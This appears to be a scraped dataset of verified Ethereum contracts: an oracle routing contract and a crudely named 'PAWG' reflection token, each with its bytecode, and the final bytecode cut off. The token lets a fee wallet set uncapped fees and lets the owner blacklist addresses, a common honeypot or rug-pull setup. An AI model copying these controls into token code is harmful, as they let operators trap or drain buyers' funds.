0815260208181526040808320949094559187168152600282528281203382529091522054610489908363ffffffff6107f016565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b6b204fce5e3e2502611000000081565b601281565b336000908152600260209081526040808320600160a060020a03861684529091528120548083111561055e57336000908152600260209081526040808320600160a060020a0388168452909152812055610593565b61056e818463ffffffff6107f016565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526020819052604090205490565b60408051808201909152600481527f4741535400000000000000000000000000000000000000000000000000000000602082015281565b6000600160a060020a038316151561066257600080fd5b3360009081526020819052604090205482111561067e57600080fd5b3360009081526020819052604090205461069e908363ffffffff6107f016565b3360009081526020819052604080822092909255600160a060020a038516815220546106d0908363ffffffff61080216565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b336000908152600260209081526040808320600160a060020a0386168452909152812054610760908363ffffffff61080216565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b6000828211156107fc57fe5b50900390565b8181018281101561080f57fe5b929150505600a165627a7a7230582018110577e828abcec1ed48a15e30ec9a414c5a321da961ff43271d0964dd45c90029
|
{"success": true, "error": null, "results": {}}
| 3,372 |
0x6be987c6d72e25F02f6f061F94417d83a6Aa13fC
|
/**
*Submitted for verification at Etherscan.io on 2021-04-28
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
// Part: IBaseOracle
interface IBaseOracle {
/// @dev Return the value of the given input as ETH per unit, multiplied by 2**112.
/// @param token The ERC-20 token to check the value.
function getETHPx(address token) external view returns (uint);
}
// Part: OpenZeppelin/[email protected]/Address
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// Part: OpenZeppelin/[email protected]/Initializable
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function _isConstructor() private view returns (bool) {
return !Address.isContract(address(this));
}
}
// Part: Governable
contract Governable is Initializable {
event SetGovernor(address governor);
event SetPendingGovernor(address pendingGovernor);
event AcceptGovernor(address governor);
address public governor; // The current governor.
address public pendingGovernor; // The address pending to become the governor once accepted.
bytes32[64] _gap; // reserve space for upgrade
modifier onlyGov() {
require(msg.sender == governor, 'not the governor');
_;
}
/// @dev Initialize using msg.sender as the first governor.
function __Governable__init() internal initializer {
governor = msg.sender;
pendingGovernor = address(0);
emit SetGovernor(msg.sender);
}
/// @dev Set the pending governor, which will be the governor once accepted.
/// @param _pendingGovernor The address to become the pending governor.
function setPendingGovernor(address _pendingGovernor) external onlyGov {
pendingGovernor = _pendingGovernor;
emit SetPendingGovernor(_pendingGovernor);
}
/// @dev Accept to become the new governor. Must be called by the pending governor.
function acceptGovernor() external {
require(msg.sender == pendingGovernor, 'not the pending governor');
pendingGovernor = address(0);
governor = msg.sender;
emit AcceptGovernor(msg.sender);
}
}
// File: CoreOracle.sol
contract CoreOracle is IBaseOracle, Governable {
event SetRoute(address indexed token, address route);
mapping(address => address) public routes; // Mapping from token to oracle source
constructor() public {
__Governable__init();
}
/// @dev Set oracle source routes for tokens
/// @param tokens List of tokens
/// @param targets List of oracle source routes
function setRoute(address[] calldata tokens, address[] calldata targets) external onlyGov {
require(tokens.length == targets.length, 'inconsistent length');
for (uint idx = 0; idx < tokens.length; idx++) {
routes[tokens[idx]] = targets[idx];
emit SetRoute(tokens[idx], targets[idx]);
}
}
/// @dev Return the value of the given input as ETH per unit, multiplied by 2**112.
/// @param token The ERC-20 token to check the value.
function getETHPx(address token) external view override returns (uint) {
uint px = IBaseOracle(routes[token]).getETHPx(token);
require(px != 0, 'price oracle failure');
return px;
}
}
|
0x608060405234801561001057600080fd5b506004361061007d5760003560e01c8063d74096591161005b578063d7409659146101a2578063e3056a34146101c8578063e58bb639146101d0578063f235757f146101d85761007d565b80630c340a2414610082578063573f775a146100a6578063ab9aadfe1461016a575b600080fd5b61008a6101fe565b604080516001600160a01b039092168252519081900360200190f35b610168600480360360408110156100bc57600080fd5b8101906020810181356401000000008111156100d757600080fd5b8201836020820111156100e957600080fd5b8035906020019184602083028401116401000000008311171561010b57600080fd5b91939092909160208101903564010000000081111561012957600080fd5b82018360208201111561013b57600080fd5b8035906020019184602083028401116401000000008311171561015d57600080fd5b509092509050610213565b005b6101906004803603602081101561018057600080fd5b50356001600160a01b03166103cf565b60408051918252519081900360200190f35b61008a600480360360208110156101b857600080fd5b50356001600160a01b03166104a9565b61008a6104c4565b6101686104d3565b610168600480360360208110156101ee57600080fd5b50356001600160a01b0316610595565b6000546201000090046001600160a01b031681565b6000546201000090046001600160a01b0316331461026b576040805162461bcd60e51b815260206004820152601060248201526f3737ba103a34329033b7bb32b93737b960811b604482015290519081900360640190fd5b8281146102b5576040805162461bcd60e51b81526020600482015260136024820152720d2dcc6dedce6d2e6e8cadce840d8cadccee8d606b1b604482015290519081900360640190fd5b60005b838110156103c8578282828181106102cc57fe5b905060200201356001600160a01b0316604260008787858181106102ec57fe5b905060200201356001600160a01b03166001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a8154816001600160a01b0302191690836001600160a01b0316021790555084848281811061034c57fe5b905060200201356001600160a01b03166001600160a01b03167fa8c96090e146ce1076efa81e5424d56e13d5c3854943f7926406c12d15d6dbe984848481811061039257fe5b905060200201356001600160a01b031660405180826001600160a01b0316815260200191505060405180910390a26001016102b8565b5050505050565b6001600160a01b0380821660008181526042602090815260408083205481516355cd56ff60e11b8152600481019590955290519294859491169263ab9aadfe92602480840193919291829003018186803b15801561042c57600080fd5b505afa158015610440573d6000803e3d6000fd5b505050506040513d602081101561045657600080fd5b50519050806104a3576040805162461bcd60e51b81526020600482015260146024820152737072696365206f7261636c65206661696c75726560601b604482015290519081900360640190fd5b92915050565b6042602052600090815260409020546001600160a01b031681565b6001546001600160a01b031681565b6001546001600160a01b03163314610532576040805162461bcd60e51b815260206004820152601860248201527f6e6f74207468652070656e64696e6720676f7665726e6f720000000000000000604482015290519081900360640190fd5b600180546001600160a01b03191690556000805462010000600160b01b031916336201000081029190911790915560408051918252517fd345d81ce68c70b119a17eee79dc1421700bd9cb21ca148a62dc90983964e82f916020908290030190a1565b6000546201000090046001600160a01b031633146105ed576040805162461bcd60e51b815260206004820152601060248201526f3737ba103a34329033b7bb32b93737b960811b604482015290519081900360640190fd5b600180546001600160a01b0383166001600160a01b0319909116811790915560408051918252517f964dea888b00b2ab53f13dfe7ca334b46e99338c222ae232d98547a1da019f609181900360200190a150565b3b15159056fea26469706673582212202f835fd22c9bf03fad6a789a02f97b1c2b84752535b3e27f9f72f1967ff1301264736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 3,373 |
0x2128F505f23070737B15e6F2Ee78ab5F6b49e158
|
/**
*Submitted for verification at Etherscan.io on 2021-11-12
*/
//
//██████╗░██╗░░██╗░█████╗░████████╗ ░█████╗░░██████╗░██████╗ ░██╗░░░░░░░██╗██╗░░██╗██╗████████╗███████╗
//██╔══██╗██║░░██║██╔══██╗╚══██╔══╝ ██╔══██╗██╔════╝██╔════╝ ░██║░░██╗░░██║██║░░██║██║╚══██╔══╝██╔════╝
//██████╔╝███████║███████║░░░██║░░░ ███████║╚█████╗░╚█████╗░ ░╚██╗████╗██╔╝███████║██║░░░██║░░░█████╗░░
//██╔═══╝░██╔══██║██╔══██║░░░██║░░░ ██╔══██║░╚═══██╗░╚═══██╗ ░░████╔═████║░██╔══██║██║░░░██║░░░██╔══╝░░
//██║░░░░░██║░░██║██║░░██║░░░██║░░░ ██║░░██║██████╔╝██████╔╝ ░░╚██╔╝░╚██╔╝░██║░░██║██║░░░██║░░░███████╗
//╚═╝░░░░░╚═╝░░╚═╝╚═╝░░╚═╝░░░╚═╝░░░ ╚═╝░░╚═╝╚═════╝░╚═════╝░ ░░░╚═╝░░░╚═╝░░╚═╝░░╚═╝╚═╝░░░╚═╝░░░╚══════╝
//
//█████╗░██╗██████╗░██╗░░░░░
//╔════╝░██║██╔══██╗██║░░░░░
//║░░██╗░██║██████╔╝██║░░░░░
//║░░╚██╗██║██╔══██╗██║░░░░░
//█████╔╝██║██║░░██║███████╗
//═════╝░╚═╝╚═╝░░╚═╝╚══════╝
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract PAWG is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1 = 5;
uint256 private _feeAddr2 = 5;
address payable private _feeAddrWallet1 = payable(0x819FC42840415d9c03ccd0F2E44D5D14fCBE8C75);
address payable private _feeAddrWallet2 = payable(0x819FC42840415d9c03ccd0F2E44D5D14fCBE8C75);
string private constant _name = "Phat Ass White Girl";
string private constant _symbol = "PAWG";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function setFeeAmountOne(uint256 fee) external {
require(_msgSender() == _feeAddrWallet2, "Unauthorized");
_feeAddr1 = fee;
}
function setFeeAmountTwo(uint256 fee) external {
require(_msgSender() == _feeAddrWallet2, "Unauthorized");
_feeAddr2 = fee;
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 50000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _isBuy(address _sender) private view returns (bool) {
return _sender == uniswapV2Pair;
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101185760003560e01c8063715018a6116100a0578063b515566a11610064578063b515566a14610398578063c3c8cd80146103c1578063c9567bf9146103d8578063cfe81ba0146103ef578063dd62ed3e146104185761011f565b8063715018a6146102c5578063842b7c08146102dc5780638da5cb5b1461030557806395d89b4114610330578063a9059cbb1461035b5761011f565b8063273123b7116100e7578063273123b7146101f4578063313ce5671461021d5780635932ead1146102485780636fc3eaec1461027157806370a08231146102885761011f565b806306fdde0314610124578063095ea7b31461014f57806318160ddd1461018c57806323b872dd146101b75761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610455565b6040516101469190612b4b565b60405180910390f35b34801561015b57600080fd5b5061017660048036038101906101719190612675565b610492565b6040516101839190612b30565b60405180910390f35b34801561019857600080fd5b506101a16104b0565b6040516101ae9190612ccd565b60405180910390f35b3480156101c357600080fd5b506101de60048036038101906101d99190612622565b6104c2565b6040516101eb9190612b30565b60405180910390f35b34801561020057600080fd5b5061021b60048036038101906102169190612588565b61059b565b005b34801561022957600080fd5b5061023261068b565b60405161023f9190612d42565b60405180910390f35b34801561025457600080fd5b5061026f600480360381019061026a91906126fe565b610694565b005b34801561027d57600080fd5b50610286610746565b005b34801561029457600080fd5b506102af60048036038101906102aa9190612588565b6107b8565b6040516102bc9190612ccd565b60405180910390f35b3480156102d157600080fd5b506102da610809565b005b3480156102e857600080fd5b5061030360048036038101906102fe9190612758565b61095c565b005b34801561031157600080fd5b5061031a6109fd565b6040516103279190612a62565b60405180910390f35b34801561033c57600080fd5b50610345610a26565b6040516103529190612b4b565b60405180910390f35b34801561036757600080fd5b50610382600480360381019061037d9190612675565b610a63565b60405161038f9190612b30565b60405180910390f35b3480156103a457600080fd5b506103bf60048036038101906103ba91906126b5565b610a81565b005b3480156103cd57600080fd5b506103d6610bab565b005b3480156103e457600080fd5b506103ed610c25565b005b3480156103fb57600080fd5b5061041660048036038101906104119190612758565b611185565b005b34801561042457600080fd5b5061043f600480360381019061043a91906125e2565b611226565b60405161044c9190612ccd565b60405180910390f35b60606040518060400160405280601381526020017f5068617420417373205768697465204769726c00000000000000000000000000815250905090565b60006104a661049f6112ad565b84846112b5565b6001905092915050565b600069d3c21bcecceda1000000905090565b60006104cf848484611480565b610590846104db6112ad565b61058b8560405180606001604052806028815260200161342060289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105416112ad565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461195e9092919063ffffffff16565b6112b5565b600190509392505050565b6105a36112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610630576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062790612c2d565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61069c6112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610729576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072090612c2d565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107876112ad565b73ffffffffffffffffffffffffffffffffffffffff16146107a757600080fd5b60004790506107b5816119c2565b50565b6000610802600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611abd565b9050919050565b6108116112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461089e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089590612c2d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661099d6112ad565b73ffffffffffffffffffffffffffffffffffffffff16146109f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ea90612b8d565b60405180910390fd5b80600a8190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f5041574700000000000000000000000000000000000000000000000000000000815250905090565b6000610a77610a706112ad565b8484611480565b6001905092915050565b610a896112ad565b73f